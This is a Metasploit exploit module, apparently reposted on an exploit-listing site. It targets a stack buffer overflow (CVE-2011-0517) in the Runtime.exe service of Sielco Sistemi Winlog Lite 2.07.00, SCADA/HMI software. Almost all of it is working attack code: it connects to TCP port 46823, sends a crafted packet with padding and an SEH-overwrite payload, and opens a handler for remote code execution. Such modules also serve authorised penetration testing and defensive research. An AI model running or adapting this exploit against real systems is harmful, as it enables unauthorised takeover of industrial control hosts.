ExploitFixes
Sielco Sistemi Winlog Buffer Overflow - [CVE: 2011-0517] 2011-06-22 10:15:09

##
# $Id: winlog_runtime.rb 13000 2011-06-21 22:42:53Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'Sielco Sistemi Winlog Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in Sielco
Sistem Winlog <= 2.07.00. When sending a specially formatted
packet to the Runtime.exe service, an attacker may be able to
execute arbitrary code.
},
'Author' => [ 'Luigi Auriemma', 'MC' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 13000 $',
'References' =>
[
[ 'CVE', '2011-0517' ],
[ 'OSVDB', '70418'],
[ 'URL', 'http://aluigi.org/adv/winlog_1-adv.txt' ],
],
'Privileged' => false,
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f',
},
'Payload' =>
{
'Space' => 450,
'BadChars' => "\x00\x20\x0a\x0d",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Winlog Lite 2.07.00', { 'Ret' => 0x011946de } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 13 2011'))

register_options([Opt::RPORT(46823)], self.class)
end

def exploit

connect

data = [0x02].pack('C') # opcode
data << [0x0101].pack('n')
data << rand_text_alpha_upper(588)
data << generate_seh_payload(target.ret)

print_status("Trying target #{target.name}...")
sock.put(data)

handler
disconnect

end

end